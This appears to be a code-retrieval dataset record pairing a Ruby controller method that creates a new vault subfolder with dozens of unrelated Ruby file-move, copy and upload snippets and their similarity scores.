Resetting file name and generating new hash, mime type, etc\n self.path = orig_path\n self.file_name = orig_file_name\n self.archive_file = orig_archive_file if respond_to? :archive_file\n self.valid_path_change = true\n\n rep_fs_path = Filesystem.nfs_store_path(role_name, container, path, file_name,\n archive_file: orig_archive_file)\n unless rep_fs_path == orig_fs_path\n raise FsException::Action, \"Replacement file targeting wrong location: #{rep_fs_path}\"\n end\n\n # Move the temporary file to the original location\n move_from tmp_file_path\n\n self.file_hash = nil\n analyze_file!\n self.file_hash ||= ContainerFile.hash_for_file(rep_fs_path)\n\n # Remove the trash file\n Filesystem.remove_trash_file trash_file_path\n\n save!\n end\n\n true\n end",
"def move_from_remote(remote_file, local_path)\n\t\tcopy_from_remote(remote_file, local_path)\n\t\tdelete_remote(remote_file)\n\tend",
"def mv(src, dest, force: nil, noop: nil, verbose: nil, secure: nil)\n fu_output_message \"mv#{force ? ' -f' : ''} #{[src,dest].flatten.join ' '}\" if verbose\n return if noop\n fu_each_src_dest(src, dest) do |s, d|\n destent = Entry_.new(d, nil, true)\n begin\n if destent.exist?\n if destent.directory?\n raise Errno::EEXIST, d\n end\n end\n begin\n File.rename s, d\n rescue Errno::EXDEV,\n Errno::EPERM # move from unencrypted to encrypted dir (ext4)\n copy_entry s, d, true\n if secure\n remove_entry_secure s, force\n else\n remove_entry s, force\n end\n end\n rescue SystemCallError\n raise unless force\n end\n end\n end",
"def sudo_upload(file_path, to)\n filename = File.basename(to)\n to_directory = File.dirname(to)\n execute \"mkdir -p /tmp/cap_upload\"\n upload! file_path, \"/tmp/cap_upload/#{filename}\"\n execute \"sudo mv /tmp/cap_upload/#{filename} -f #{to_directory}\"\nend",
"def mv srcpath, dstpath\n end",
"def mv(name, from = DirConfig::OPEN, to = DirConfig::DEPLOY)\n agency = options[:agency]\n ::Taxi::SFTP.new(agency).move_glob(name, from, to)\n end",
"def transfer!\n Logger.message(\"#{ self.class } started transferring \\\"#{ remote_file }\\\".\")\n create_local_directories!\n FileUtils.cp(\n File.join(local_path, local_file),\n File.join(remote_path, remote_file)\n )\n end",
"def cleanup_swap_dir(file)\n\n image_path = \"./public/swap/#{file}\"\n # image_path = \"../public/swap/#{file}\" # inline testing version\n\n if File.exist?(image_path)\n File.delete(image_path) # delete temp file from /public/swap\n else\n puts \"temp file does not exist!\"\n end\n\nend",
"def move!(entry, dest_path)\n src_path = Wide::PathUtils.relative_to_base(base_path, entry.path)\n dest_path = Wide::PathUtils.relative_to_base(base_path, dest_path)\n\n cmd = cmd_prefix.push('mv', src_path, dest_path)\n shellout(Escape.shell_command(cmd))\n\n begin\n if($? && $?.exitstatus != 0)\n entry.move!(dest_path);\n end\n rescue\n raise CommandFailed.new(\"Failed to move file #{src_path} to #{dest_path} in the Mercurial repository in #{base_path}\")\n end\n end",
"def move_to_path(target_path)\n move_to(cotta.dir(target_path))\n end",
"def cleanup_swap_dir(file)\n\n image_path = \"./public/swap/#{file}\"\n\n if File.exist?(image_path)\n File.delete(image_path) # delete temp file from /public/swap\n else\n puts \"temp file does not exist!\"\n end\n\nend",
"def move (source_path, dest_path)\n \"mv '#{source_path}' '#{dest_path}'\"\n end",
"def mv orig, dest, rm = true\n rm_rf dest unless !rm\n execute(\"mv #{orig} #{dest}\")\n end",
"def mv(srcpath,dstpath)\n FileUtils.mv(srcpath,dstpath)\n end",
"def upload( config, vault)\n cfg_sftp = get_sftp_config( config)\n remote_file = File.join( cfg_sftp[:directory], File.basename(vault))\n Net::SFTP.start( cfg_sftp[:hostname], cfg_sftp[:username]) do |sftp|\n \n # TODO check remote checksum to make sure upload is necessary\n rotate_sftp_file( sftp, remote_file, 3)\n \n # upload a file or directory to the remote host\n sftp.upload!( vault, remote_file)\n puts \"Uploaded vault to host '#{cfg_sftp[:hostname]}' by SFTP\"\n end\n end",
"def move\n file = session[:user].x_files.get(params[:id])\n raise RequestError.new(:file_not_found, \"File not found\") unless file\n raise RequestError.new(:bad_param, \"File not uploaded\") if !file.folder && !file.uploaded\n raise RequestError.new(:bad_param, \"Can not move the root folder\") if file.id == session[:user].root_folder.id\n source = WFolder.get(params[:source])\n raise RequestError.new(:file_not_found, \"Source not found\") unless source\n raise RequestError.new(:bad_param, \"Source is not a folder\") unless source.folder\n raise RequestError.new(:bad_access, \"No access to the source folder\") unless source.users.include? session[:user] \n raise RequestError.new(:bad_param, \"Source does not contain the file\") if source.files.include? file == false && !file.folder\n raise RequestError.new(:bad_param, \"Source does not contain the folder\") if source.childrens.include? file && file.folder\n destination = WFolder.get(params[:destination])\n raise RequestError.new(:file_not_found, \"Destination not found\") unless destination\n raise RequestError.new(:bad_param, \"Destination is not a folder\") unless destination.folder\n raise RequestError.new(:bad_access, \"No access to the destination folder\") unless destination.users.include? session[:user] \n raise RequestError.new(:bad_param, \"Destination and Source are identical\") if source.id == destination.id\n raise RequestError.new(:bad_param, \"Destination and File are identical\") if file.id == destination.id\n raise RequestError.new(:bad_param, \"File and Source are identical\") if source.id == file.id\n\n WFile.move(file, source, destination) unless file.folder\n WFolder.move(file, source, destination) if file.folder\n\n @result = { success: true }\n end",
"def move_files\n source_dir = Item.new(Path.new(params[:source]))\n dest_dir = Item.new(Path.new(params[:dest]))\n type = params[:type]\n response = {}\n response[:source_dir] = source_dir\n response[:dest_dir] = dest_dir\n if source_dir.move_files_to(dest_dir, type)\n response[:msg] = \"Success\"\n render json: response, status: 200\n else\n response[:msg] = \"Fail\"\n render json: response, status: 402\n end\n end",
"def add_shared_folder_to_fusion_vm(options)\n vm_list = get_running_fusion_vms(options)\n if vm_list.to_s.match(/#{options['name']}/)\n if options['host-os-name'].to_s.match(/Linux/)\n fusion_vm_dir = options['fusiondir']+\"/\"+options['name']\n else\n fusion_vm_dir = options['fusiondir']+\"/\"+options['name']+\".vmwarevm\"\n end\n fusion_vmx_file = fusion_vm_dir+\"/\"+options['name']+\".vmx\"\n message = \"Stopping:\\tVirtual Box VM \"+options['name']\n command = \"'#{options['vmrun']}' -T fusion addSharedFolder '#{fusion_vmx_file}' #{options['mount']} #{options['share']}\"\n execute_command(options,message,command)\n else\n if options['verbose'] == true\n handle_output(options,\"Information:\\t#{options['vmapp']} VM #{options['name']} not running\")\n end\n end\n return\nend",
"def execute()\r\n FileUtils.mv(@OldFilePath, @NewFilePath)\r\n end",
"def local_copy(source, target)\n FileUtils.mkpath(File.dirname(target))\n FileUtils.copy(source, \"#{target}.in_progress\")\n FileUtils.move(\"#{target}.in_progress\", target)\n end",
"def move_file (new_directory_path,file)\n FileUtils.mkdir_p new_directory_path if not File.exist? new_directory_path\n if File.exist? file and File.file? file\n if File.exist? new_directory_path + file\n puts \"# - File #{file} already exists. Skipping...\"\n FileUtils.rm file\n else\n puts \"# - Moving the file: #{file} to #{new_directory_path}...\" \n FileUtils.mv file, new_directory_path\n end\n else\n raise \"Error while moving file to #{LOG_OLD_DIR}\"\n end\nend",
"def upload_file_to_guest_as_admin(local_path, guest_path, quiet=false)\n\n log_stdout \"Copying #{local_path} to #{guest_path} as Administrator\", quiet\n\n upload_file_to_guest(local_path, 'C:\\Users\\IEUser\\.tempadminfile',true)\n run_command_as_admin('copy C:\\Users\\IEUser\\.tempadminfile '+ guest_path,true)\n run_command 'del C:\\Users\\IEUser\\.tempadminfile', true\n end",
"def unshare\n login = params[:login]\n raise RequestError.new(:bad_param, \"Wrong login\") if login.nil? || login.length == 0\n user = User.all(login: login).first\n raise RequestError.new(:bad_param, \"User not found\") if user.nil?\n file = user.x_files_shared_to_me.get(params[:id])\n raise RequestError.new(:file_not_found, \"File not found\") unless file\n\n file = WFile.unshare_to_user(session[:user], user, WFile.get(params[:id]))\n file.update_and_save\n @result = { success: true }\n session[:user].save\n end",
"def sync\n rm_berks_cookbooks\n target_dir = \"/home/#{USER}/provisioning\"\n rsync_current_dir target_dir: target_dir\n ssh_exe \"sudo chown #{USER}:#{USER} -R #{target_dir}\"\n end",
"def scp_post_operations(scp_file_actual, scp_file_target)\n execute(\"mv #{scp_file_actual} #{scp_file_target}\") if self[:platform].include?('cisco_nexus')\n nil\n end",
"def move(io, id, shrine_metadata: {}, **upload_options)\n if io.respond_to?(:path)\n FileUtils.mv io.path, path!(id)\n else\n FileUtils.mv io.storage.path(io.id), path!(id)\n io.storage.clean(io.storage.path(io.id)) if io.storage.clean?\n end\n path(id).chmod(permissions) if permissions\n end",
"def init_shared_folder(config, settings)\n\n if settings['shared_folder_type'] == \"rsync\"\n # args: do not copy symlinks\n config.vm.synced_folder \"../../\", \"/vagrant\", type: \"rsync\",\n rsync__exclude: settings['rsync_exclude'],\n rsync__chown: true,\n rsync__args: [\"--verbose\", \"--archive\", \"--delete\", \"-z\"]\n else\n config.vm.synced_folder \"../../\", \"/vagrant\", type: \"nfs\", mount_options: [\"rw\", \"tcp\", \"nolock\", \"async\"], nfs_udp: false\n config.nfs.map_uid = Process.uid\n config.nfs.map_gid = Process.gid\n end\n\nend",
"def transfer!\n remote_path = remote_path_for(@package)\n\n files_to_transfer_for(@package) do |local_file, remote_file|\n Logger.info \"#{storage_name} started transferring '#{ local_file }'.\"\n\n File.open(File.join(local_path, local_file), 'r') do |file|\n connection.put_object(\n container, File.join(remote_path, remote_file), file\n )\n end\n end\n end",
"def move_file(from_source:, from_file:, to_source:, to_file:)\n response = HTTParty.get(\"#{@host}/move_file\", query: {\n source_file: \"#{from_source}:#{from_file}\",\n dest_file: \"#{to_source}:#{to_file}\",\n api_key: @api_key\n })\n \n return response.body\n end",
"def move_dirs\n \n end",
"def transfer!\n remote_path = remote_path_for(@package)\n FileUtils.mkdir_p(remote_path)\n\n files_to_transfer_for(@package) do |local_file, remote_file|\n Logger.info \"#{storage_name} started transferring '#{ local_file }'.\"\n\n src_path = File.join(local_path, local_file)\n dst_path = File.join(remote_path, remote_file)\n FileUtils.send(transfer_method, src_path, dst_path)\n end\n end",
"def sync\n if File.exist?(@twin_file) && FileUtils.identical?(@file, @twin_file)\n nil\n else\n origin = newer\n destination = twin_file(origin)\n FileUtils.mkdir_p(File.dirname(@twin_file))\n FileUtils.cp(origin, destination)\n @file\n end\n end",
"def fastlane_export(file_path)\n file_name = file_path.split(\"/\").last\n export_path = \"#{EXPORT_DIRECTORY}/#{file_name}\"\n FileUtils.rm_f(export_path)\n FileUtils.mv(file_path, export_path)\n end",
"def move(src, dst)\n # Move should copy first then delete after copying is successfull!\n #FileUtils.cp_r(src, dst, :remove_destination => true).nil?\n FileUtils.rm_rf(src) if FileUtils.cp_r(src, dst, :remove_destination => true).nil?\n rescue Exception => e\n log 3, e\n end",
"def move(*args)\n \t# Sending destination path\n \tputs \"MOVING\"\n \tmove_entity(*args[0].public_path)\n \tsuper\n end",
"def push_dir(local_path,remote_path)\n debug_p(\"push_dir from #{local_path} to #{remote_path}\")\n begin\n @sftp_session.upload!(local_path,remote_path)\n rescue\n @ssh.exec!(\"rm -rf #{remote_path}\")\n retry\n end\n end",
"def mv!( from_path, to_path )\r\n got = @ndev.rpc.command( \"file rename #{from_path} #{to_path}\" )\r\n return true if got.nil? # got no error\r\n raise IOError, got.text\r\n end",
"def rotate_sftp_file( sftp, file, limit)\n return unless file_exists( sftp, file)\n \n # move old files first\n max_files = limit - 1 \n max_files.downto( 0) { |i|\n \n if i == 0\n sftp.rename( file, \"#{file}_#{i}\")\n else\n j = i - 1\n next unless file_exists( sftp, \"#{file}_#{j}\")\n sftp.rename( \"#{file}_#{j}\", \"#{file}_#{i}\") \n end\n }\n \n puts \"Rotated remote vault file(s)\"\n end",
"def remote_file(task)\n target_roles = task.delete(:roles)\n override = task.delete(:override)\n\n UploadTask.define_task(task) do |t|\n prerequisite_file = t.prerequisites.first\n file = shared_path.join(t.name).to_s.shellescape\n\n on roles(target_roles) do\n if override || !test(\"[ -f #{file} ]\")\n info \"Uploading #{prerequisite_file} to #{file}\"\n upload! File.open(prerequisite_file), file\n end\n end\n\n end\n end",
"def move_folder\n source_dir = Item.new(Path.new(params[:source_dir]))\n dest_dir = Item.new(Path.new(params[:dest_dir]))\n\n response = {}\n response[:source_dir] = source_dir\n response[:dest_dir] = dest_dir\n if source_dir.move_to(dest_dir)\n response[:msg] = \"Success\"\n render json: response, status: 200\n else\n response[:msg] = \"Fail\"\n render json: response, status: 402\n end\n end",
"def move_temp_to_destination\n if !File.exist? temp_file\n $logger.info \"no moving, transcode didn't complete\"\n return\n end\n $logger.info \" moving (temp->destination)\\n #{temp_file} ->\\n #{destination_file}\"\n FileUtils.mv temp_file, destination_file\n end",
"def run(path)\n # Strip a leading / off the path to avoid any problems\n path.sub!(/^\\//, '')\n\n # Build the source and destination paths\n source = \"#{guest_sf_path}/#{path}\"\n dest = \"#{guest_path}/#{path}\"\n\n # Check if the source is a directory on the host - if so, add a / for rsync\n if ((path != '') && (File.directory?(File.join(host_path, path))))\n source << '/'\n dest << '/'\n end\n\n\n # Build the rsync command\n args = ['rsync -av']\n\n if (delete)\n args << '--del'\n end\n\n args = args + exclude_args\n\n args << source\n args << dest\n\n cmd = args.join(' ')\n\n # Run rsync\n vm.channel.sudo(cmd)\n end",
"def remove_target(target)\n if perms_for(target)[:rm] == false\n @response[:error] ||= 'Some files/directories were unable to be removed'\n @response[:errorData][target.basename.to_s] = \"Access Denied\"\n return\n end\n# create trash folder if it doesn't exist\n trash_dir = File.join(@root,'.trash/')\n FileUtils.mkdir(trash_dir) unless File.exist?(trash_dir)\n# \n begin\n FileUtils.mv(target, trash_dir, :force => true )\n if !target.directory?\n if @options[:thumbs] && (thumbnail = thumbnail_for(target)).file?\n FileUtils.mv(thumbnail, trash_dir, :force => true )\n end\n end\n rescue\n @response[:error] ||= 'Some files/directories were unable to be removed'\n @response[:errorData][target.basename.to_s] = \"Remove failed\"\n end\nend",
"def smb_file_rename(rfile, new_name, rdir=nil)\n if rdir.nil?\n dir=''\n else\n dir=' -D ' + rdir\n end\n file = Tempfile.new('ruby_smbclient')\n if @hashpass\n success = system(\"#{@smbclient} \\\\\\\\\\\\\\\\#{@host}\\\\\\\\#{@share} -p #{@port} -U #{@user} --pw-nt-hash #{@pass} -c 'rename #{rfile} #{new_name}'#{dir} > #{file.path} 2>&1\")\n else\n success = system(\"#{@smbclient} \\\\\\\\\\\\\\\\#{@host}\\\\\\\\#{@share} -p #{@port} -U #{@user} #{@pass} -c 'rename #{rfile} #{new_name}'#{dir} > #{file.path} 2>&1\")\n end\n file.unlink\n if success\n return true\n else\n return false\n end\n end",
"def move_multimedia_files_to_trash\n if self.multimedia_path\n\n FileUtils.mkdir_p(dir_for_deleted)\n FileUtils.mv(Dir.glob(File.join(class_multimedia_path, self.multimedia_path, \"*.*\")), dir_for_deleted)\n\n logger.info \"Moviendo #{File.join(class_multimedia_path, self.multimedia_path, \"*.*\")} a #{dir_for_deleted}\"\n\n FileUtils.rm_rf(File.join(class_multimedia_path, self.multimedia_path))\n\n # Los videos de la webtv dejarán de funcionar porque están en el mismo directorio\n self.webtv_videos.update_all(\"published_at=NULL, document_id=NULL\") if self.respond_to?('webtv_videos')\n self.gallery_photos.update_all(\"document_id=NULL\") if self.respond_to?('gallery_photos')\n self.album.update_attributes(:document_id => nil, :draft => true) if self.respond_to?('album') && self.album\n end\n return true\n end",
"def transfer!\n write_password_file! unless local\n\n remote_path = remote_path_for(@package)\n\n create_remote_path!(remote_path)\n\n files_to_transfer_for(@package) do |local_file, remote_file|\n if local\n Logger.info \"#{storage_name} started transferring \" +\n \"'#{ local_file }' to '#{ remote_path }'.\"\n run(\n \"#{ utility(:rsync) } '#{ File.join(local_path, local_file) }' \" +\n \"'#{ File.join(remote_path, remote_file) }'\"\n )\n else\n Logger.info \"#{storage_name} started transferring \" +\n \"'#{ local_file }' to '#{ ip }'.\"\n run(\n \"#{ utility(:rsync) } #{ rsync_options } #{ rsync_port } \" +\n \"#{ rsync_password_file } '#{ File.join(local_path, local_file) }' \" +\n \"'#{ username }@#{ ip }:#{ File.join(remote_path, remote_file) }'\"\n )\n end\n end\n\n ensure\n remove_password_file! unless local\n end",
"def mv(src, dst)\n FileUtils.mv(src, dst, :verbose => verbose?)\n end",
"def update_locally_copied(file, renamed_file)\n if !remote_manifest[renamed_file]\n # directory rename (I don't know what's going on here)\n then directory file, nil, renamed_file, working_changeset.flags[file]\n # We found the old name of the file in the remote manifest.\n else merge file, renamed_file, file, flag_merge[file, renamed_file, renamed_file], false\n end\n end",
"def copy_and_check(file, service)\n puts \"Checking #{file}\"\n\n temp_file = Tempfile.new(\"#{file}-temp\")\n\n scp(\"/etc/one/#{file}\", temp_file.path)\n\n if !FileUtils.compare_file(temp_file, \"/etc/one/#{file}\")\n FileUtils.cp(temp_file.path, \"/etc/one/#{file}\")\n\n puts \"#{file} has been replaced by #{@remote_server}:#{file}\"\n\n @opennebula_services[service] = true\n end\n ensure\n temp_file.unlink\n end",
"def copied_remote(path)\n remote = File.expand_path(testpath(path))\n remote_copied = tmp_path(\"remote_copied\")\n\n FileUtils.cp_r remote, remote_copied\n\n remote_copied\nend",
"def move_from(from_path)\n res = false\n current_user_role_names.each do |role_name|\n # Cycle until we find a role that makes this directory writeable\n next unless Filesystem.test_dir role_name, container, :write\n\n # If a path is set, ensure we can make a directory for it if one doesn't exist\n unless path.blank? || Filesystem.test_dir(role_name, container, :mkdir,\n extra_path: container_path(no_filename: true), ok_if_exists: true)\n next\n end\n\n cleanpath = Filesystem.clean_path(path)\n if cleanpath\n is_trash_path = self.class.trash_path?(cleanpath)\n\n if !is_trash_path && (cleanpath.start_with?('.') || cleanpath.start_with?('/'))\n raise FsException::Action, \"Path to move to is bad: #{cleanpath}\"\n end\n end\n\n to_path = if is_trash_path\n cleanpath\n else\n container_path(no_filename: true)\n end\n\n res = Filesystem.move_file_to_final_location role_name, from_path, container, to_path, file_name\n break if res\n end\n\n unless res\n raise FsException::NoAccess, 'User does not have permission to store file with any of the current groups'\n end\n\n true\n end",
"def copy_ssh_key\n copy_file_to_storage_directory(full_keypair_path)\n end",
"def unshare_file_in_db(file_id, user_id)\n $db.execute(\"DELETE FROM shared_files WHERE file_id = ? AND user_id = ?\", file_id, user_id)\nend",
"def test_move_under_single_lock\n setup_hr\n\n lock = lock 'httplock/hr', :depth => RubyDav::INFINITY\n\n response = @request.move('httplock/hr/recruiting/resumes', 'httplock/hr/archives/resumes')\n assert_equal '423', response.status\n assert_exists 'httplock/hr/recruiting/resumes/'\n assert_does_not_exist 'httplock/hr/archives/resumes/'\n\n if_hdr = lock.token\n response = @request.move('httplock/hr/recruiting/resumes', 'httplock/hr/archives/resumes', false, :if => if_hdr)\n assert_equal '201', response.status\n assert_does_not_exist 'httplock/hr/recruiting/resumes/'\n assert_exists 'httplock/hr/archives/resumes/'\n\n # cleanup\n unlock('httplock/hr', lock.token)\n delete_coll('httplock')\n end",
"def eject(drive)\n open_tray(drive)\nend",
"def moveFileToDoneFolder(file, dest, logkey='')\n\tMcmlln::Tools.moveFile(file, dest)\nrescue => logstring\nensure\n\tMcmlln::Tools.logtoJson(@log_hash, logkey, logstring)\nend",
"def copy_file(key:, file:)\n remote_metadata = file.data.merge(\"storage\" => @storage_map[key])\n remote_file = Shrine::UploadedFile.new(remote_metadata)\n Shrine.storages[key].upload(remote_file,file.id)\n end",
"def stash_user_file(file,path)\n users = get_all_over500_users\n users.each_key do |u|\n puts \"copying files to #{u}\\'s home at #{path}.\"\n system \"ditto -V #{file} #{get_homedir(u)}/#{path}/#{File.basename(file)}\"\n FileUtils.chown_R(\"#{u}\", nil, \"#{get_homedir(u)}/#{path}/#{File.basename(file)}\")\n end\n end",
"def set_VaultFile(value)\n set_alias(\"VaultFile\", value)\n end",
"def set_VaultFile(value)\n set_alias(\"VaultFile\", value)\n end",
"def set_VaultFile(value)\n set_alias(\"VaultFile\", value)\n end",
"def set_VaultFile(value)\n set_alias(\"VaultFile\", value)\n end",
"def set_VaultFile(value)\n set_alias(\"VaultFile\", value)\n end",
"def set_VaultFile(value)\n set_alias(\"VaultFile\", value)\n end",
"def set_VaultFile(value)\n set_alias(\"VaultFile\", value)\n end",
"def set_VaultFile(value)\n set_alias(\"VaultFile\", value)\n end",
"def set_VaultFile(value)\n set_alias(\"VaultFile\", value)\n end",
"def set_VaultFile(value)\n set_alias(\"VaultFile\", value)\n end",
"def set_VaultFile(value)\n set_alias(\"VaultFile\", value)\n end",
"def set_VaultFile(value)\n set_alias(\"VaultFile\", value)\n end",
"def set_VaultFile(value)\n set_alias(\"VaultFile\", value)\n end",
"def set_VaultFile(value)\n set_alias(\"VaultFile\", value)\n end"
] | [
"0.74406",
"0.70536304",
"0.6701537",
"0.6586538",
"0.6371236",
"0.6159885",
"0.6151179",
"0.61462015",
"0.6074617",
"0.6051112",
"0.60245913",
"0.60187715",
"0.59866375",
"0.5973807",
"0.5970023",
"0.59190345",
"0.58870184",
"0.58742493",
"0.586969",
"0.58451176",
"0.58361757",
"0.58310604",
"0.58227444",
"0.5778565",
"0.57687473",
"0.57486093",
"0.5745486",
"0.57307476",
"0.5728709",
"0.5720384",
"0.5717073",
"0.5707438",
"0.5680596",
"0.5635501",
"0.5620194",
"0.5610767",
"0.5593114",
"0.5577236",
"0.557527",
"0.55738264",
"0.55690163",
"0.55684745",
"0.55635095",
"0.55566794",
"0.555005",
"0.5548414",
"0.55439925",
"0.55430317",
"0.5520531",
"0.5519029",
"0.5513404",
"0.55091",
"0.5506857",
"0.55016845",
"0.5501439",
"0.54903764",
"0.54873586",
"0.5463415",
"0.54518145",
"0.5435846",
"0.5431743",
"0.54248226",
"0.5404009",
"0.54002446",
"0.53962034",
"0.5374659",
"0.5370907",
"0.53695625",
"0.5368005",
"0.53663635",
"0.5365209",
"0.53589225",
"0.5358447",
"0.5350062",
"0.53492117",
"0.5348535",
"0.53422",
"0.53412527",
"0.533906",
"0.5336128",
"0.533405",
"0.532694",
"0.53238374",
"0.53183705",
"0.531767",
"0.531642",
"0.53145105",
"0.53145105",
"0.53145105",
"0.53145105",
"0.53145105",
"0.53145105",
"0.53145105",
"0.53145105",
"0.53145105",
"0.53145105",
"0.53145105",
"0.53145105",
"0.53145105",
"0.53145105"
] | 0.72317827 | 1 |
Create a new empty subfolder | def new_folder
puts "create new folder"
client = user_client
mixpanel_tab_event("My Vault", "New Folder")
# get "My Files" and "Shared Files" folder objects
@currentFolder = params[:parent_id]
# create new subfolder
begin
newFolder = client.create_folder(params[:folderName], @currentFolder)
rescue
puts "could not create new folder"
flash[:error] = "Error: could not create folder"
end
redirect_to dashboard_id_path(@currentFolder)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def mkdir path\n parent = lookup_single! File.dirname(path), RbVmomi::VIM::Folder\n parent.CreateFolder(:name => File.basename(path))\nend",
"def create\n create_directories\n end",
"def create_folder_if_needed path; Dir.mkdir(path) unless File.exists?(path) end",
"def create(folder)\n # Ensure API availability\n api.call(\"system\", \"greet\")\n\n api.call(files_project, \"newFolder\", { parents: true, folder: folder })\n end",
"def bootstrap_folder\n FileUtils.mkdir_p folder_path\n end",
"def creatFolder(path)\n Dir.mkdir(path) unless File.exists?(path)\n end",
"def folder_create(command)\n pp @client.files.folder_create(clean_up(command[1]))\n end",
"def createEmptyFolder(path)\n FileUtils.remove_dir(path) if Dir.exist?(path)\n FileUtils.mkdir_p(path)\nend",
"def create_folder (folder_path, params = \"-p\")\n \"mkdir #{params} '#{folder_path}'\"\n end",
"def createFolder(folderPath)\n @folderParts=folderPath.split(\"/\")\n newFdr=\"\"\n for partName in @folderParts\n newFdr=newFdr+partName+\"/\"\n if !File.exist?(newFdr)\n Dir.mkdir(newFdr)\n end\n end\nend",
"def createFolder(folderPath)\n @folderParts=folderPath.split(\"/\")\n newFdr=\"\"\n for partName in @folderParts\n newFdr=newFdr+partName+\"/\"\n if !File.exist?(newFdr)\n Dir.mkdir(newFdr)\n end\n end\nend",
"def create\n FileUtils.mkdir_p(directory) unless exist?\n end",
"def file_create_folder(path)\n params = {\n \"root\" => @root,\n \"path\" => format_path(path, false),\n }\n response = @session.do_post build_url(\"/fileops/create_folder\", params)\n\n parse_response(response)\n end",
"def create_app_folder_structure\n puts \"Create #{name} folder structure\"\n end",
"def create_folders_for full_path\n full_path = File.dirname(full_path)\n\n return if File.directory?(full_path) || [\"/\", \".\"].include?(full_path)\n create_folders_for(full_path)\n Dir::mkdir(full_path)\n end",
"def create\n FileUtils.mkdir_p path\n end",
"def create_server_dir\n @task.remove_dir @path\n @task.empty_directory @path\n end",
"def create_folder(name)\n Dir.mkdir(\"#{name}\")\nend",
"def create\n location.mkdir\n end",
"def create_folder\n unless File.directory?(client.config.tmp_folder)\n FileUtils.mkdir_p(client.config.tmp_folder)\n end\n end",
"def create_folder()\n\n directory_name = \"./public/swap/imageuploader\"\n Dir.mkdir(directory_name) unless File.exists?(directory_name)\n\nend",
"def mkdir(name)\n return self if name == '.'\n name = name[1..-1] if name[0] == '/'\n newdir, *remainder = name.split('/')\n subdir = get(newdir)\n unless subdir.dir?\n result = @od.request(\"#{api_path}/children\",\n name: newdir,\n folder: {},\n '@microsoft.graph.conflictBehavior': 'rename'\n )\n subdir = OneDriveDir.new(@od, result)\n end\n remainder.any? ? subdir.mkdir(remainder.join('/')) : subdir\n end",
"def create_directory\n remove_dir(@name) if Dir.exist?(@name)\n Dir.mkdir(@name)\n end",
"def test_create_folder\n request = CreateFolderRequest.new(path: remote_data_folder + '/TestCreateFolder')\n\n @words_api.create_folder(request)\n end",
"def create_folder(path, opts = {})\r\n create_folder_with_http_info(path, opts)\r\n nil\r\n end",
"def ensure_dir(path)\n directory path do\n action :create\n recursive true\n end\nend",
"def create_parent_directory\n puts 'Creating Main Directory...'\n # CREATE: Make a main directory to store in slides\n Dir.mkdir './slides_archive/' unless File.exist? './slides_archive/'\n puts 'DONE ✓\\n'\n end",
"def create_folder(path)\n notify \"Path:#{path}\"\n full_path = @dst_full_path + path\n r = path_transform(full_path,false)\n url = sprintf(NAS_FOLDER_CREATE_URL,CGI.escape(r[:path]),CGI.escape(r[:share]))\n notify \"create folder with #{url}\"\n result = RestClient.get(url, {:cookies => @nas_cookies})\n notify \"create result#{result.inspect}\"\n return result == \"{\\\"errmsg0\\\": \\\"OK\\\"}\"\n end",
"def create_folder(name, folder = 0)\n # Requires authorization\n raise PutioError::AuthorizationRequired if authentication_required!\n\n make_post_call('/files/create-folder?name=%s&parent_id=%i' % [name, folder])\n end",
"def team_folder_create(folder:, trace: false)\n dropbox_query(query: '2/team/team_folder/create', query_data: \"{\\\"name\\\":\\\"#{folder}\\\"}\", trace: trace)\n end",
"def create_folder(directory)\n\tputs 'Creating directory \\'' + directory + '\\'...'\n\tFileUtils.mkdir_p directory\n\tputs 'done'\nend",
"def mkdirs\n if (not exists?)\n parent.mkdirs\n factory.system.mkdir @path\n end\n end",
"def mkdir(path)\n @client.file_create_folder(path)\n rescue\n puts $! if @@verbose\n nil\n end",
"def create_project\n empty_directory(project)\n end",
"def create_directories\n directory '.', './'\n end",
"def create_directory(path)\n FileUtils.mkdir_p(path)\n path\n end",
"def gen_sub_directories\n\t\[email protected]\n\tend",
"def gen_sub_directories\n\t\[email protected]\n\tend",
"def create_in_empty_directory?\n is_empty_directory?(@path)\n end",
"def create_folder(folder_name)\n IITPlaylist.new(@ole.CreateFolder(folder_name))\n end",
"def create_folder(folder_path, name, root=\"auto\")\n to_path = File.join(folder_path, name)\n payload = {\n path: to_path,\n root: root\n }\n\n connexion = Dropbox.start(:create_folder, access_token)\n response = connexion.post do |req|\n req.url \"fileops/create_folder\"\n req.body = payload\n end\n\n response = format_response(response)\n tree_cache(response)\n end",
"def create_file_and_folder\n begin\n Dir::mkdir(@directory)\n rescue Errno::EEXIST\n end\n FileUtils.touch \"#{@directory}/#{@store}.yml\"\n end",
"def mk_dir(path)\n FileUtils.mkdir_p(path) unless File.directory?(path)\n end",
"def ensure_directory\n FileUtils.mkdir_p(to_s)\n self\n end",
"def test_put_create_folder\n\n path = 'folder4'\n storage = 'First Storage'\n destStorage = 'First Storage'\n request = PutCreateFolderRequest.new(path, storage, destStorage)\n\n result = @storage_api.put_create_folder(request)\n assert result.code == 200, 'Error put create folder'\n\n end",
"def gen_sub_directories\n @outputdir.mkpath\n end",
"def sub_dir\n dir_name = \"Archive #{@t.month}-#{@t.day}-#{@t.year}\"\n sub_dir_name = \"#{@archive_folder}/#{dir_name}\"\n\n Dir.mkdir(sub_dir_name) unless Dir.exist?(sub_dir_name)\n return sub_dir_name\nend",
"def google_create_folder(client)\n path = CGI::unescape(@fields[:path].to_s)\n result = client.create_folder_by_path(path)\n end",
"def create_if_missing \n if File.exists?(@folder)\n return\n else\n Dir.mkdir(@folder) unless \n $LOG.info(\"#{@name} : #{@folder} created\")\n end\n end",
"def create_part_of_path(path)\n begin\n @zk.create(path, \"\".to_java_bytes, default_acl, default_mode)\n rescue\n puts \"#{$!}\"\n end\n end",
"def create_directory(path)\n clean_path = File.expand_path(path.gsub(/ /, '_'))\n Dir.mkdir(clean_path)\n clean_path\n end",
"def mkdir_p path\n bkt,key = split_path(path)\n @s3.interface.create_bucket(bkt) unless exists? path\n end",
"def folder_create(path, opts = {})\n input_json = {\n path: path,\n }\n response = @session.do_rpc_endpoint(\"/#{ @namespace }/folder_create\", input_json)\n Dropbox::API::File.from_json(Dropbox::API::HTTP.parse_rpc_response(response))\n end",
"def new_dirs; end",
"def mkdir( *args ) Dir.mkdir( expand_tilde, *args ) end",
"def createIfMissing(folder_name)\n\tunless Dir.exists?(folder_name)\n\t\tputs \"Creating directory \" + folder_name\n\t\tDir.mkdir folder_name\n\tend\nend",
